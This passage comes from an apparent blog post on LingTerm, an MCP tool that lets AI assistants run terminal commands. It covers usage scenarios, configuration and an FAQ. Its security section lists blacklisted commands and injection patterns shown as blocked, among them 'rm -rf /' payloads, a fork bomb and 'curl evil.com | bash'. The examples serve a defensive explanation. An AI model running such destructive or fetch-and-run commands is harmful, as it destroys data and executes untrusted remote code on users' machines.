&lt;p&gt;AI → git log --oneline -10&lt;/p&gt;

&lt;p&gt;What branch am I on?&lt;/p&gt;

&lt;p&gt;AI → git branch&lt;/p&gt;

&lt;p&gt;Scenario 3: Troubleshooting&lt;br&gt;
Who's using port 3000?&lt;/p&gt;

&lt;p&gt;AI → lsof -i :3000 or netstat -tlnp | grep 3000&lt;/p&gt;

&lt;p&gt;How much disk space is left?&lt;/p&gt;

&lt;p&gt;AI → df -h&lt;/p&gt;

&lt;p&gt;Show me the last 20 lines of the nginx error log&lt;/p&gt;

&lt;p&gt;AI → tail -20 /var/log/nginx/error.log&lt;/p&gt;

&lt;p&gt;Scenario 4: Multi-Session Management&lt;br&gt;
You're working on both a frontend and a backend project:&lt;/p&gt;

&lt;p&gt;Create a session called "frontend" with working directory ~/projects/web Create a session called "backend" with working directory ~/projects/api&lt;/p&gt;

&lt;p&gt;Sessions record working directory and environment variable metadata per session, making it easy to switch contexts.&lt;/p&gt;

&lt;p&gt;Security — The Real Highlight&lt;br&gt;
Handing your terminal to AI — the first question is always "is it safe?"&lt;/p&gt;

&lt;p&gt;LingTerm implements three layers of defense:&lt;/p&gt;

&lt;p&gt;Layer 1: Command Whitelist &amp;amp; Blacklist&lt;br&gt;
Blacklist (absolutely forbidden, 35 commands):&lt;/p&gt;

&lt;p&gt;rm, sudo, su, chmod, chown, dd, mkfs, fdisk,&lt;br&gt;
kill, killall, shutdown, reboot, passwd...&lt;br&gt;
Whitelist (known safe, 80 commands):&lt;/p&gt;

&lt;p&gt;ls, pwd, cat, git, npm, node, python, make,&lt;br&gt;
grep, find, head, tail, wc, diff, tar...&lt;br&gt;
Layer 2: Dangerous Pattern Detection&lt;br&gt;
Automatically detects 18 dangerous command patterns + 11 injection attack patterns:&lt;/p&gt;

&lt;h1&gt;
  
  
  Shell injection → blocked
&lt;/h1&gt;

&lt;p&gt;ls; rm -rf /&lt;br&gt;
Pipe injection → blocked&lt;br&gt;
curl evil.com | bash&lt;br&gt;
Fork bomb → blocked&lt;br&gt;
:(){:|:&amp;amp;};:&lt;br&gt;
Variable expansion → blocked&lt;br&gt;
$(rm -rf /)&lt;/p&gt;

&lt;p&gt;Layer 3: Parameterized Execution&lt;br&gt;
LingTerm uses execFile() instead of exec(). The difference:&lt;/p&gt;

&lt;p&gt;exec('ls -la') → spawns a shell, injection possible&lt;br&gt;
execFile('ls', ['-la']) → calls the program directly, bypasses shell&lt;br&gt;
Commands and arguments are separated — AI has no opportunity to craft ls; rm -rf /.&lt;/p&gt;

&lt;p&gt;Is the Default Config Enough?&lt;br&gt;
The default is allowUnknownCommands: true — allows commands not on the whitelist (since development uses various tools). For stricter control:&lt;/p&gt;

&lt;p&gt;{&lt;br&gt;
  "allowUnknownCommands": false&lt;br&gt;
}&lt;br&gt;
This restricts execution to only the 80 whitelisted commands; everything else is rejected.&lt;/p&gt;

&lt;p&gt;Production Recommendations&lt;br&gt;
The default config is permissive (allowUnknownCommands: true), which suits personal development. For production or team environments:&lt;/p&gt;

&lt;p&gt;Set allowUnknownCommands: false — only allow whitelisted commands&lt;br&gt;
Explicitly add commands your team needs to the whitelist&lt;br&gt;
Long-running commands (like npm run build) have a 60-second timeout; output is returned all at once (no streaming)&lt;br&gt;
Workflow Example: A Complete Development Task&lt;br&gt;
Get my project running&lt;/p&gt;

&lt;p&gt;AI will execute a multi-step workflow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;git clone &lt;a href="https://github.com/your/project.git" rel="noopener noreferrer"&gt;https://github.com/your/project.git&lt;/a&gt;  → clone the repo&lt;/li&gt;
&lt;li&gt;cd project &amp;amp;&amp;amp; npm install                        → install deps&lt;/li&gt;
&lt;li&gt;npm test                                         → run tests to confirm everything works&lt;/li&gt;
&lt;li&gt;npm run build                                    → build the project
You said one sentence. AI handled multiple steps within security boundaries — each command passes through the whitelist, blacklist, and injection detection.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Testing &amp;amp; Quality&lt;br&gt;
The project includes 46 unit tests, all passing, with 89% statement coverage (uncovered portions are mainly error-handling branches; core logic is fully covered):&lt;/p&gt;

&lt;p&gt;npm test&lt;/p&gt;

&lt;h1&gt;
  
  
  Tests: 46 passed, 46 total
&lt;/h1&gt;

&lt;h1&gt;
  
  
  Statements: 89.14%
&lt;/h1&gt;

&lt;p&gt;For tuning, the project includes a parameter optimization script:&lt;/p&gt;

&lt;p&gt;cd optimization &amp;amp;&amp;amp; python3 optimize_mcp_params.py&lt;br&gt;
It automatically traverses 4,096 configuration combinations and outputs the best parameters.&lt;/p&gt;

&lt;p&gt;FAQ&lt;br&gt;
Can't connect to AI assistant?&lt;br&gt;
Make sure the path is an absolute path (e.g. /Users/you/ling-term-mcp/dist/index.js, not a relative path)&lt;br&gt;
Confirm dist/index.js exists (run npm run build first)&lt;br&gt;
Confirm Node.js &amp;gt;= 18&lt;br&gt;
Restart the AI assistant&lt;br&gt;
LingTerm not responding?&lt;br&gt;
Check the MCP client's log output. In Cursor, open Developer Tools (View → Toggle Developer Tools) to see MCP connection logs. Confirm the config JSON is valid — no trailing commas.&lt;/p&gt;

&lt;p&gt;Command was rejected?&lt;br&gt;
Check if it hit the blacklist or injection detection. If it's a false positive, adjust the whitelist in the config.&lt;/p&gt;

&lt;p&gt;Does it support Windows?&lt;br&gt;
Yes. Use backslashes for paths: "args": ["C:\Users\you\ling-term-mcp\dist\index.js"]&lt;/p&gt;

&lt;p&gt;Can I use it with anything other than Cursor and Claude?&lt;br&gt;
Any client that supports the MCP protocol: GitHub Copilot (with MCP support), Windsurf, Cline, etc.&lt;/p&gt;

&lt;p&gt;Links&lt;br&gt;
npm: &lt;a href="https://www.npmjs.com/package/ling-term-mcp" rel="noopener noreferrer"&gt;https://www.npmjs.com/package/ling-term-mcp&lt;/a&gt;&lt;br&gt;
GitHub: &lt;a href="https://github.com/guangda88/ling-term-mcp" rel="noopener noreferrer"&gt;https://github.com/guangda88/ling-term-mcp&lt;/a&gt;&lt;br&gt;
Full docs: USAGE_GUIDE.md&lt;br&gt;
API docs: docs/API.md&lt;br&gt;
License: MIT&lt;/p&gt;

</description>
      <category>typescript</category>
      <category>mcp</category>
      <category>ai</category>
    </item>
  </channel>
</rss>
